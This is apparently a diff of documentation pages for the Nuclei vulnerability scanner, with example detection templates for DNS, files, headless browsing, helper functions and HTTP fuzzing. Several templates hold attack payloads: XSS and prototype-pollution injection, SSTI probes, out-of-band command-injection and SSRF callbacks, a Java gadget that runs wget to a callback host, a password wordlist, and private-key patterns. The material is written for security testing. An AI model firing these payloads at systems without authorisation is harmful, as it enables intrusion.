||||
"template-guide/dns",
|
||||
"template-guide/file",
|
||||
"template-guide/javascript",
|
||||
"template-guide/code",
|
||||
"template-guide/multi",
|
||||
"template-guide/flow",
|
||||
{
|
||||
"group":"Operators",
|
||||
"pages":[
|
||||
"template-guide/operators/matchers",
|
||||
"template-guide/operators/extractors"
|
||||
]
|
||||
},
|
||||
"template-guide/oob-testing",
|
||||
"template-guide/helper-functions",
|
||||
"template-guide/variables",
|
||||
"template-guide/preprocessors",
|
||||
"template-guide/workflows"
|
||||
]
|
||||
},
|
||||
{
|
||||
"group":"Template Example",
|
||||
"pages":[
|
||||
{
|
||||
"group":"HTTP",
|
||||
"pages":[
|
||||
"template-example/http/base-http",
|
||||
"template-example/http/raw-http",
|
||||
"template-example/http/http-fuzzing",
|
||||
"template-example/http/http-smuggling",
|
||||
"template-example/http/http-payloads",
|
||||
"template-example/http/http-race-conditions"
|
||||
]
|
||||
},
|
||||
"template-example/dns",
|
||||
"template-example/file",
|
||||
"template-example/headless",
|
||||
"template-example/network",
|
||||
"template-example/workflow",
|
||||
"template-example/helper-functions"
|
||||
]
|
||||
},
|
||||
{
|
||||
"group":"Editor",
|
||||
"pages":[
|
||||
"editor/introduction",
|
||||
"editor/ai",
|
||||
"editor/share",
|
||||
"editor/shortcut",
|
||||
{
|
||||
"group":"REST API",
|
||||
"pages":[
|
||||
"editor/api/scan",
|
||||
"editor/api/generate"
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"group":"FAQ",
|
||||
"pages":[
|
||||
"faq/nuclei",
|
||||
"faq/templates",
|
||||
"faq/editor"
|
||||
]
|
||||
}
|
||||
],
|
||||
"footerSocials":{
|
||||
"twitter":"https://twitter.com/pdnuclei",
|
||||
"github":"https://github.com/projectdiscovery/nuclei",
|
||||
"discord":"https://discord.com/invite/projectdiscovery"
|
||||
},
|
||||
"feedback":{
|
||||
"thumbsRating":true,
|
||||
"suggestEdit":true
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
---
|
||||
title: "DNS"
|
||||
---
|
||||
|
||||
## Basic template
|
||||
|
||||
Basic DNS Request to detect if a CNAME record exists for an input.
|
||||
|
||||
```yaml
|
||||
id: basic-dns-example
|
||||
|
||||
info:
|
||||
name: Test DNS Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: CNAME
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 3
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
# The response must contain a CNAME record
|
||||
- "IN\tCNAME"
|
||||
```
|
||||
|
||||
## Multiple matcher
|
||||
|
||||
An example showcasing multiple matchers of nuclei, allowing detection of Subdomains with CNAME records that point to either `zendesk.com` or `github.io`.
|
||||
|
||||
```yaml
|
||||
id: multiple-matcher
|
||||
|
||||
info:
|
||||
name: Test DNS Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: CNAME
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 5
|
||||
matchers-condition: or
|
||||
matchers:
|
||||
- type: word
|
||||
name: zendesk
|
||||
words:
|
||||
- "zendesk.com"
|
||||
- type: word
|
||||
name: github
|
||||
words:
|
||||
- "github.io"
|
||||
```
|
||||
@@ -0,0 +1,58 @@
|
||||
---
|
||||
title: "File"
|
||||
---
|
||||
|
||||
## Basic File Template
|
||||
|
||||
This template checks for a pattern in provided files.
|
||||
|
||||
```yaml
|
||||
id: ssh-public-key
|
||||
|
||||
info:
|
||||
name: SSH Public Key Detect
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
file:
|
||||
- extensions:
|
||||
- pub
|
||||
max-size: 1024 # read very small chunks
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "ssh-rsa"
|
||||
```
|
||||
|
||||
## Extension Denylist with No-Recursive
|
||||
|
||||
The below template is same as last one, but it makes use of an extension denylist along with the no-recursive option.
|
||||
|
||||
```yaml
|
||||
id: ssh-private-key
|
||||
|
||||
info:
|
||||
name: SSH Private Key Detect
|
||||
author: pd-team
|
||||
severity: high
|
||||
|
||||
file:
|
||||
- extensions:
|
||||
- all
|
||||
denylist:
|
||||
- pub
|
||||
no-recursive: true
|
||||
max-size: 1024 # read very small chunks
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "BEGIN OPENSSH PRIVATE KEY"
|
||||
- "BEGIN PRIVATE KEY"
|
||||
- "BEGIN RSA PRIVATE KEY"
|
||||
- "BEGIN DSA PRIVATE KEY"
|
||||
- "BEGIN EC PRIVATE KEY"
|
||||
- "BEGIN PGP PRIVATE KEY BLOCK"
|
||||
- "ssh-rsa"
|
||||
```
|
||||
@@ -0,0 +1,276 @@
|
||||
---
|
||||
title: "Headless"
|
||||
---
|
||||
|
||||
## Basic Headless Navigation Example
|
||||
|
||||
This template visits a URL in the headless browser and waits for it to load.
|
||||
|
||||
```yaml
|
||||
id: basic-headless-request
|
||||
|
||||
info:
|
||||
name: Basic Headless Request
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- action: navigate
|
||||
args:
|
||||
url: "{{BaseURL}}"
|
||||
- action: waitload
|
||||
```
|
||||
|
||||
## Headless prototype pollution detection
|
||||
|
||||
The below template detects prototype pollution on pages with Nuclei headless capabilities. The code for detection is taken from [https://github.com/msrkp/PPScan](https://github.com/msrkp/PPScan). We make use of script injection capabilities of nuclei to provide reliable detection for prototype pollution.
|
||||
|
||||
```yaml
|
||||
id: prototype-pollution-check
|
||||
|
||||
info:
|
||||
name: Prototype Pollution Check
|
||||
author: pd-team
|
||||
severity: medium
|
||||
reference: https://github.com/msrkp/PPScan
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- action: setheader
|
||||
args:
|
||||
part: response
|
||||
key: Content-Security-Policy
|
||||
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
|
||||
- action: setheader
|
||||
args:
|
||||
part: response
|
||||
key: X-Frame-Options
|
||||
value: foo
|
||||
- action: setheader
|
||||
args:
|
||||
part: response
|
||||
key: If-None-Match
|
||||
value: foo
|
||||
# Set the hook to override window.data for xss detection
|
||||
- action: script
|
||||
args:
|
||||
hook: true
|
||||
code: |
|
||||
// Hooking code adapted from https://github.com/msrkp/PPScan/blob/main/scripts/content_script.js
|
||||
(function() {window.alerts = [];
|
||||
|
||||
function logger(found) {
|
||||
window.alerts.push(found);
|
||||
}
|
||||
|
||||
function check() {
|
||||
loc = location.href;
|
||||
|
||||
if (loc.indexOf("e32a5ec9c99") >= 0 && loc.search("a0def12bce") == -1) {
|
||||
setTimeout(function() {
|
||||
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60") {
|
||||
logger(location.href);
|
||||
}
|
||||
var url = new URL(location.origin + location.pathname);
|
||||
url.hash = "__proto__[a0def12bce]=ddcb362f1d60&__proto__.a0def12bce=ddcb362f1d60&dummy";
|
||||
location = url.href;
|
||||
}, 5 * 1000);
|
||||
} else if (loc.search("a0def12bce") != -1) {
|
||||
setTimeout(function() {
|
||||
if (Object.prototype.a0def12bce == "ddcb362f1d60") {
|
||||
logger(location.href);
|
||||
}
|
||||
window.close();
|
||||
}, 5 * 1000);
|
||||
} else {
|
||||
var url = new URL(loc);
|
||||
url.searchParams.append("__proto__[e32a5ec9c99]", "ddcb362f1d60");
|
||||
url.searchParams.append("__proto__.e32a5ec9c99", "ddcb362f1d60");
|
||||
location = url.href;
|
||||
}
|
||||
}
|
||||
|
||||
window.onload = function() {
|
||||
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
|
||||
logger(location.href);
|
||||
} else {
|
||||
check();
|
||||
}
|
||||
};
|
||||
|
||||
var timerID = setInterval(function() {
|
||||
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
|
||||
logger(location.href);
|
||||
clearInterval(timerID);
|
||||
}
|
||||
}, 5 * 1000)})();
|
||||
- args:
|
||||
url: "{{BaseURL}}"
|
||||
action: navigate
|
||||
- action: waitload
|
||||
- action: script
|
||||
name: alerts
|
||||
args:
|
||||
code: "window.alerts"
|
||||
matchers:
|
||||
- type: word
|
||||
part: alerts
|
||||
words:
|
||||
- "__proto__"
|
||||
extractors:
|
||||
- type: kval
|
||||
part: alerts
|
||||
kval:
|
||||
- alerts
|
||||
```
|
||||
|
||||
## DVWA XSS Reproduction With Headless Mode
|
||||
|
||||
This template logs into DVWA (Damn Vulnerable Web App) and tries to automatically reproduce a Reflected XSS, returning a match if it found that the payload was executed successfully.
|
||||
|
||||
```yaml
|
||||
id: dvwa-xss-verification
|
||||
|
||||
info:
|
||||
name: DVWA Reflected XSS Verification
|
||||
author: pd-team
|
||||
severity: info
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- args:
|
||||
url: "{{BaseURL}}"
|
||||
action: navigate
|
||||
- action: waitload
|
||||
|
||||
# Set the hook to override window.data for xss detection
|
||||
- action: script
|
||||
args:
|
||||
hook: true
|
||||
code: "(function() { window.alert = function() { window.data = 'found' } })()"
|
||||
- args:
|
||||
by: x
|
||||
value: admin
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input
|
||||
action: text
|
||||
- args:
|
||||
by: x
|
||||
value: password
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input[2]
|
||||
action: text
|
||||
- args:
|
||||
by: x
|
||||
xpath: /html/body/div/div[2]/form/fieldset/p/input
|
||||
action: click
|
||||
- action: waitload
|
||||
- args:
|
||||
by: x
|
||||
xpath: /html/body/div/div[2]/div/ul[2]/li[11]/a
|
||||
action: click
|
||||
- action: waitload
|
||||
- args:
|
||||
by: x
|
||||
value: '"><svg/onload=alert(1)>'
|
||||
xpath: /html/body/div/div[3]/div/div/form/p/input
|
||||
action: text
|
||||
- args:
|
||||
keys: "\r" # Press the enter key on the keyboard
|
||||
action: keyboard
|
||||
- action: waitload
|
||||
- action: script
|
||||
name: alert
|
||||
args:
|
||||
code: "window.data"
|
||||
matchers:
|
||||
- part: alert
|
||||
type: word
|
||||
words:
|
||||
- "found"
|
||||
```
|
||||
|
||||
## DOM XSS Detection
|
||||
|
||||
This template performs detection of DOM-XSS for `window.name` source by hooking common sinks such as `eval`, `innerHTML` and `document.write`.
|
||||
|
||||
```yaml
|
||||
id: window-name-domxss
|
||||
|
||||
info:
|
||||
name: window.name DOM XSS
|
||||
author: pd-team
|
||||
severity: medium
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- action: setheader
|
||||
args:
|
||||
part: response
|
||||
key: Content-Security-Policy
|
||||
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
|
||||
- action: script
|
||||
args:
|
||||
hook: true
|
||||
code: |
|
||||
(function() {window.alerts = [];
|
||||
|
||||
function logger(found) {
|
||||
window.alerts.push(found);
|
||||
}
|
||||
|
||||
function getStackTrace () {
|
||||
var stack;
|
||||
try {
|
||||
throw new Error('');
|
||||
}
|
||||
catch (error) {
|
||||
stack = error.stack || '';
|
||||
}
|
||||
stack = stack.split('\n').map(function (line) { return line.trim(); });
|
||||
return stack.splice(stack[0] == 'Error' ? 2 : 1);
|
||||
}
|
||||
window.name = "{{randstr_1}}'\"<>";
|
||||
|
||||
var oldEval = eval;
|
||||
var oldDocumentWrite = document.write;
|
||||
var setter = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML').set;
|
||||
Object.defineProperty(Element.prototype, 'innerHTML', {
|
||||
set: function innerHTML_Setter(val) {
|
||||
if (val.includes("{{randstr_1}}'\"<>")) {
|
||||
logger({sink: 'innerHTML', source: 'window.name', code: val, stack: getStackTrace()});
|
||||
}
|
||||
return setter.call(this, val)
|
||||
}
|
||||
});
|
||||
eval = function(data) {
|
||||
if (data.includes("{{randstr_1}}'\"<>")) {
|
||||
logger({sink: 'eval' ,source: 'window.name', code: data, stack: getStackTrace()});
|
||||
}
|
||||
return oldEval.apply(this, arguments);
|
||||
};
|
||||
document.write = function(data) {
|
||||
if (data.includes("{{randstr_1}}'\"<>")) {
|
||||
logger({sink: 'document.write' ,source: 'window.name', code: data, stack: getStackTrace()});
|
||||
}
|
||||
return oldEval.apply(this, arguments);
|
||||
};
|
||||
})();
|
||||
- args:
|
||||
url: "{{BaseURL}}"
|
||||
action: navigate
|
||||
- action: waitload
|
||||
- action: script
|
||||
name: alerts
|
||||
args:
|
||||
code: "window.alerts"
|
||||
matchers:
|
||||
- type: word
|
||||
part: alerts
|
||||
words:
|
||||
- "sink:"
|
||||
extractors:
|
||||
- type: kval
|
||||
part: alerts
|
||||
kval:
|
||||
- alerts
|
||||
```
|
||||
@@ -0,0 +1,100 @@
|
||||
---
|
||||
title: "Helpers"
|
||||
---
|
||||
|
||||
## Helper Functions Examples
|
||||
|
||||
Nuclei has a number of helper functions that may be used to conduct various run-time operations on the request block. Here's an example template that shows how to use all the available helper functions.
|
||||
|
||||
```yaml
|
||||
id: helper-functions-examples
|
||||
|
||||
info:
|
||||
name: RAW Template with Helper Functions
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
1: {{base64("Hello")}}
|
||||
2: {{base64(1234)}}
|
||||
3: {{base64_decode("SGVsbG8=")}}
|
||||
4: {{base64_py("Hello")}}
|
||||
5: {{compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')}}
|
||||
6: {{concat("Hello", "world")}}
|
||||
7: {{contains("Hello", "lo")}}
|
||||
8: {{contains_all("Hello everyone", "lo", "every")}}
|
||||
9: {{contains_any("Hello everyone", "abc", "llo")}}
|
||||
10: {{date_time("%Y-%M-%D")}}
|
||||
11: {{date_time("%Y-%M-%D", unix_time())}}
|
||||
12: {{date_time("%H-%m")}}
|
||||
13: {{date_time("02-01-2006 15:04")}}
|
||||
14: {{date_time("02-01-2006 15:04", unix_time())}}
|
||||
15: {{dec_to_hex(11111)}}
|
||||
16: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
|
||||
17: {{gzip("Hello")}}
|
||||
18: {{gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))}}
|
||||
19: {{hex_decode("6161")}}
|
||||
20: {{hex_encode("aa")}}
|
||||
21: {{hmac("sha1", "test", "scrt")}}
|
||||
22: {{hmac("sha256", "test", "scrt")}}
|
||||
23: {{html_escape("<body>test</body>")}}
|
||||
24: {{html_unescape("<body>test</body>")}}
|
||||
25: {{join("_", "hello", "world")}}
|
||||
26: {{len("Hello")}}
|
||||
27: {{len(5555)}}
|
||||
28: {{md5("Hello")}}
|
||||
29: {{md5(1234)}}
|
||||
30: {{mmh3("Hello")}}
|
||||
31: {{print_debug(1+2, "Hello")}}
|
||||
32: {{rand_base(5, "abc")}}
|
||||
33: {{rand_base(5, "")}}
|
||||
34: {{rand_base(5)}}
|
||||
35: {{rand_char("abc")}}
|
||||
36: {{rand_char("")}}
|
||||
37: {{rand_char()}}
|
||||
38: {{rand_int(1, 10)}}
|
||||
39: {{rand_int(10)}}
|
||||
40: {{rand_int()}}
|
||||
41: {{rand_ip("192.168.0.0/24")}}
|
||||
42: {{rand_ip("2002:c0a8::/24")}}
|
||||
43: {{rand_ip("192.168.0.0/24","10.0.100.0/24")}}
|
||||
44: {{rand_text_alpha(10, "abc")}}
|
||||
45: {{rand_text_alpha(10, "")}}
|
||||
46: {{rand_text_alpha(10)}}
|
||||
47: {{rand_text_alphanumeric(10, "ab12")}}
|
||||
48: {{rand_text_alphanumeric(10)}}
|
||||
49: {{rand_text_numeric(10, 123)}}
|
||||
50: {{rand_text_numeric(10)}}
|
||||
51: {{regex("H([a-z]+)o", "Hello")}}
|
||||
52: {{remove_bad_chars("abcd", "bc")}}
|
||||
53: {{repeat("a", 5)}}
|
||||
54: {{replace("Hello", "He", "Ha")}}
|
||||
55: {{replace_regex("He123llo", "(\\d+)", "")}}
|
||||
56: {{reverse("abc")}}
|
||||
57: {{sha1("Hello")}}
|
||||
58: {{sha256("Hello")}}
|
||||
59: {{to_lower("HELLO")}}
|
||||
60: {{to_upper("hello")}}
|
||||
61: {{trim("aaaHelloddd", "ad")}}
|
||||
62: {{trim_left("aaaHelloddd", "ad")}}
|
||||
63: {{trim_prefix("aaHelloaa", "aa")}}
|
||||
64: {{trim_right("aaaHelloddd", "ad")}}
|
||||
65: {{trim_space(" Hello ")}}
|
||||
66: {{trim_suffix("aaHelloaa", "aa")}}
|
||||
67: {{unix_time(10)}}
|
||||
68: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
|
||||
69: {{url_encode("https://projectdiscovery.io/test?a=1")}}
|
||||
70: {{wait_for(1)}}
|
||||
71: {{zlib("Hello")}}
|
||||
72: {{zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))}}
|
||||
73: {{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}
|
||||
74: {{starts_with("Hello", "He")}}
|
||||
75: {{ends_with("Hello", "lo")}}
|
||||
76: {{line_starts_with("Hi\nHello", "He")}}
|
||||
77: {{line_ends_with("Hello\nHi", "lo")}}
|
||||
78: {{ip_format("169.254.169.254", 4)}}
|
||||
```
|
||||
@@ -0,0 +1,218 @@
|
||||
---
|
||||
title: "Base HTTP"
|
||||
---
|
||||
|
||||
## Basic Template
|
||||
|
||||
This template requests `/` path of URL and match string in the response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: basic-example
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "This is test matcher text"
|
||||
```
|
||||
|
||||
## Multiple matchers
|
||||
|
||||
This template requests `/` path of URL and run multiple OR based matchers against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: http-multiple-matchers
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: php
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
name: node
|
||||
words:
|
||||
- "Server: NodeJS"
|
||||
- "X-Powered-By: nodejs"
|
||||
condition: or
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
name: python
|
||||
words:
|
||||
- "Python/2."
|
||||
- "Python/3."
|
||||
part: header
|
||||
```
|
||||
|
||||
## Matchers with conditions
|
||||
|
||||
This template requests `/` path of URL and runs two matchers, one with AND conditions with string match in header and another matcher against response body.
|
||||
|
||||
|
||||
```yaml
|
||||
id: matchers-conditions
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
condition: and
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "PHP"
|
||||
part: body
|
||||
```
|
||||
## Multiple matcher conditions
|
||||
|
||||
This template requests `/` path of URL and runs two matchers with AND conditions, one with OR conditions with string match in header and another matcher against response body, both condition has to be true in order to match this template.
|
||||
|
||||
```yaml
|
||||
id: multiple-matchers-conditions
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
condition: or
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- PHP
|
||||
part: body
|
||||
```
|
||||
|
||||
## Custom headers
|
||||
|
||||
This template requests `/` path of the URL as GET request with additional custom headers defined in the template.
|
||||
|
||||
```yaml
|
||||
id: custom-headers
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
|
||||
# Example of sending some headers to the servers
|
||||
|
||||
headers:
|
||||
|
||||
X-Client-IP: 127.0.0.1
|
||||
X-Remote-IP: 127.0.0.1
|
||||
X-Remote-Addr: 127.0.0.1
|
||||
X-Forwarded-For: 127.0.0.1
|
||||
X-Originating-IP: 127.0.0.1
|
||||
|
||||
path:
|
||||
- "{{BaseURL}}/server-status"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- Apache Server Status
|
||||
- Server Version
|
||||
condition: and
|
||||
```
|
||||
|
||||
## POST requests
|
||||
|
||||
This template makes POST request to `/admin` endpoint with defined data as body parameter in the template.
|
||||
|
||||
|
||||
|
||||
```yaml
|
||||
id: post-request
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/admin"
|
||||
|
||||
body: 'admin=test'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- Welcome Admin
|
||||
```
|
||||
|
||||
## Time based Matcher
|
||||
|
||||
This template is example of DSL based duration matcher that returns `true` when the response time matched the defined duration, in this case 6 or more than 6 seconds.
|
||||
|
||||
```yaml
|
||||
id: time-based-matcher
|
||||
|
||||
info:
|
||||
name: DSL based response time matcher
|
||||
author: pdteam
|
||||
severity: none
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET /slow HTTP/1.1
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'duration>=6'
|
||||
```
|
||||
@@ -0,0 +1,209 @@
|
||||
---
|
||||
title: "HTTP Fuzzing"
|
||||
---
|
||||
|
||||
## Basic SSTI Template
|
||||
|
||||
A simple template to discover `{{<number>*<number>}}` type SSTI vulnerabilities.
|
||||
|
||||
```yaml
|
||||
id: fuzz-reflection-ssti
|
||||
|
||||
info:
|
||||
name: Basic Reflection Potential SSTI Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
variables:
|
||||
first: "{{rand_int(10000, 99999)}}"
|
||||
second: "{{rand_int(10000, 99999)}}"
|
||||
result: "{{to_number(first)*to_number(second)}}"
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
reflection:
|
||||
- '{{concat("{{", "§first§*§second§", "}}")}}'
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: multiple
|
||||
fuzz:
|
||||
- "{{reflection}}"
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "{{result}}"
|
||||
```
|
||||
## Basic XSS Template
|
||||
|
||||
A simple template to discover XSS probe reflection in HTML pages.
|
||||
|
||||
```yaml
|
||||
id: fuzz-reflection-xss
|
||||
|
||||
info:
|
||||
name: Basic Reflection Potential XSS Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
reflection:
|
||||
- "6842'\"><9967"
|
||||
stop-at-first-match: true
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: single
|
||||
fuzz:
|
||||
- "{{reflection}}"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "{{reflection}}"
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "text/html"
|
||||
```
|
||||
|
||||
## Basic OpenRedirect Template
|
||||
|
||||
A simple template to discover open-redirects issues.
|
||||
|
||||
```yaml
|
||||
id: fuzz-open-redirect
|
||||
|
||||
info:
|
||||
name: Basic Open Redirect Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
redirect:
|
||||
- "https://example.com"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys-regex:
|
||||
- "redirect.*"
|
||||
fuzz:
|
||||
- "{{redirect}}"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "{{redirect}}"
|
||||
- type: status
|
||||
status:
|
||||
- 301
|
||||
- 302
|
||||
- 307
|
||||
```
|
||||
|
||||
## Blind SSRF OOB Detection
|
||||
|
||||
A simple template to detect Blind SSRF in known-parameters using interact.sh with HTTP fuzzing.
|
||||
|
||||
```yaml
|
||||
id: fuzz-ssrf
|
||||
|
||||
info:
|
||||
name: Basic Blind SSRF Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
redirect:
|
||||
- "{{interactsh-url}}"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "dest"
|
||||
- "redirect"
|
||||
- "uri"
|
||||
- "path"
|
||||
- "continue"
|
||||
- "url"
|
||||
- "window"
|
||||
- "next"
|
||||
- "data"
|
||||
- "reference"
|
||||
- "site"
|
||||
- "html"
|
||||
- "val"
|
||||
- "validate"
|
||||
- "domain"
|
||||
- "callback"
|
||||
- "return"
|
||||
- "page"
|
||||
- "feed"
|
||||
- "host"
|
||||
- "port"
|
||||
- "to"
|
||||
- "out"
|
||||
- "view"
|
||||
- "dir"
|
||||
- "show"
|
||||
- "navigation"
|
||||
- "open"
|
||||
fuzz:
|
||||
- "https://{{redirect}}"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "http"
|
||||
```
|
||||
|
||||
## Blind CMDi OOB based detection
|
||||
|
||||
A simple template to detect blind CMDI using interact.sh
|
||||
|
||||
```yaml
|
||||
id: fuzz-cmdi
|
||||
|
||||
info:
|
||||
name: Basic Blind CMDI Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
redirect:
|
||||
- "{{interactsh-url}}"
|
||||
fuzzing:
|
||||
fuzz:
|
||||
- "nslookup {{redirect}}"
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
```
|
||||
|
||||
@@ -0,0 +1,216 @@
|
||||
---
|
||||
title: "HTTP Payloads"
|
||||
---
|
||||
|
||||
## HTTP Intruder fuzzing
|
||||
|
||||
This template makes a defined POST request in RAW format along with in template defined payloads running `clusterbomb` intruder and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: multiple-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
# HTTP Intruder fuzzing with in template payload support.
|
||||
|
||||
http:
|
||||
|
||||
- raw:
|
||||
- |
|
||||
POST /?username=§username§¶mb=§password§ HTTP/1.1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5)
|
||||
Host: {{Hostname}}
|
||||
another_header: {{base64('§password§')}}
|
||||
Accept: */*
|
||||
body=test
|
||||
|
||||
payloads:
|
||||
username:
|
||||
- admin
|
||||
|
||||
password:
|
||||
- admin
|
||||
- guest
|
||||
- password
|
||||
- test
|
||||
- 12345
|
||||
- 123456
|
||||
|
||||
attack: clusterbomb # Available: batteringram,pitchfork,clusterbomb
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
|
||||
## Fuzzing multiple requests
|
||||
|
||||
This template makes a defined POST request in RAW format along with wordlist based payloads running `clusterbomb` intruder and checking for string match against response.
|
||||
|
||||
```yaml
|
||||
id: multiple-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
|
||||
- raw:
|
||||
- |
|
||||
POST /?param_a=§param_a§¶mb=§param_b§ HTTP/1.1
|
||||
User-Agent: §param_a§
|
||||
Host: {{Hostname}}
|
||||
another_header: {{base64('§param_b§')}}
|
||||
Accept: */*
|
||||
|
||||
admin=test
|
||||
|
||||
- |
|
||||
DELETE / HTTP/1.1
|
||||
User-Agent: nuclei
|
||||
Host: {{Hostname}}
|
||||
|
||||
{{sha256('§param_a§')}}
|
||||
|
||||
- |
|
||||
PUT / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
{{html_escape('§param_a§')}} + {{hex_encode('§param_b§'))}}
|
||||
|
||||
attack: clusterbomb # Available types: batteringram,pitchfork,clusterbomb
|
||||
payloads:
|
||||
param_a: payloads/prams.txt
|
||||
param_b: payloads/paths.txt
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
|
||||
## Authenticated fuzzing
|
||||
|
||||
